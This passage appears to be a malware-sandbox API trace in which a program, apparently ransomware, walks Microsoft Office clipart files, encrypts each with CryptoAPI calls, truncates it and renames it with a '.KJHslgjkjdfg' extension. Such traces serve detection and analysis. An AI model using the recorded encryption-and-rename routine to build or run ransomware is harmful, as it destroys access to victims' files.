office\\clipart\\pub60cor\\ph00601g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.283] GetProcessHeap () returned 0x2a0000 [0187.283] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.283] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.283] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.283] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x7, lpOverlapped=0x0) returned 1 [0187.374] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.374] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.374] GetProcessHeap () returned 0x2a0000 [0187.374] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.374] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.374] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.374] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.374] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.374] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.375] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.375] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.375] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.375] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.375] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.375] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.375] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x629, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x629, lpOverlapped=0x0) returned 1 [0187.375] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x630, dwBufLen=0x630 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x630) returned 1 [0187.375] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.375] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x630, lpOverlapped=0x0) returned 1 [0187.375] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.375] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.375] SetEndOfFile (hFile=0x114) returned 1 [0187.378] GetProcessHeap () returned 0x2a0000 [0187.378] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.378] GetProcessHeap () returned 0x2a0000 [0187.378] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.378] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif.kjhslgjkjdfg")) returned 1 [0187.380] CloseHandle (hObject=0x114) returned 1 [0187.380] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe86e3d00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe86e3d00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x8628, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH00780U.BMP", cAlternateFileName="")) returned 1 [0187.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.381] GetProcessHeap () returned 0x2a0000 [0187.382] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.382] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.382] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.382] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.388] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.388] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.388] GetProcessHeap () returned 0x2a0000 [0187.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.388] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.388] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.388] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.388] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.388] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.388] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.388] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.389] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.389] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.389] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.389] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.389] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8628, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8628, lpOverlapped=0x0) returned 1 [0187.402] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8630, dwBufLen=0x8630 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8630) returned 1 [0187.403] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.403] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8630, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8630, lpOverlapped=0x0) returned 1 [0187.403] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.403] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.403] SetEndOfFile (hFile=0x114) returned 1 [0187.406] GetProcessHeap () returned 0x2a0000 [0187.406] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.406] GetProcessHeap () returned 0x2a0000 [0187.406] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.406] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp.kjhslgjkjdfg")) returned 1 [0187.408] CloseHandle (hObject=0x114) returned 1 [0187.408] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c100, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45c100, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01035U.BMP", cAlternateFileName="")) returned 1 [0187.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.410] GetProcessHeap () returned 0x2a0000 [0187.410] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.410] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.410] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.410] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.410] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.410] GetProcessHeap () returned 0x2a0000 [0187.410] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.411] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.411] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.411] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.413] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.413] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.413] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.413] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.414] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.414] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.414] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.414] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.414] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7e90, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7e90, lpOverlapped=0x0) returned 1 [0187.433] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7e90, dwBufLen=0x7e90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7e90) returned 1 [0187.433] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.433] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7e90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7e90, lpOverlapped=0x0) returned 1 [0187.433] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.434] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.434] SetEndOfFile (hFile=0x114) returned 1 [0187.436] GetProcessHeap () returned 0x2a0000 [0187.437] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.437] GetProcessHeap () returned 0x2a0000 [0187.437] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.437] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp.kjhslgjkjdfg")) returned 1 [0187.438] CloseHandle (hObject=0x114) returned 1 [0187.439] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x211bb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01046J.JPG", cAlternateFileName="")) returned 1 [0187.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.441] GetProcessHeap () returned 0x2a0000 [0187.441] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.441] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.441] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.441] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0187.452] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.452] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.453] GetProcessHeap () returned 0x2a0000 [0187.453] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.453] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.453] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.453] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.453] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.453] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.453] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.453] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.453] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.453] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.453] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.453] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.454] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x211bb, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x211bb, lpOverlapped=0x0) returned 1 [0187.470] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x211c0, dwBufLen=0x211c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x211c0) returned 1 [0187.472] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.472] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x211c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x211c0, lpOverlapped=0x0) returned 1 [0187.473] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.473] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x21294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.473] SetEndOfFile (hFile=0x114) returned 1 [0187.480] GetProcessHeap () returned 0x2a0000 [0187.480] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.480] GetProcessHeap () returned 0x2a0000 [0187.480] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.481] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg.kjhslgjkjdfg")) returned 1 [0187.484] CloseHandle (hObject=0x114) returned 1 [0187.484] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4a3a00, ftCreationTime.dwHighDateTime=0x1bd50ad, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd4a3a00, ftLastWriteTime.dwHighDateTime=0x1bd50ad, nFileSizeHigh=0x0, nFileSizeLow=0xa202, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01179J.JPG", cAlternateFileName="")) returned 1 [0187.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.486] GetProcessHeap () returned 0x2a0000 [0187.486] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.486] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.486] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.486] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0187.491] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.491] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.491] GetProcessHeap () returned 0x2a0000 [0187.491] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.491] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.491] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.491] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, 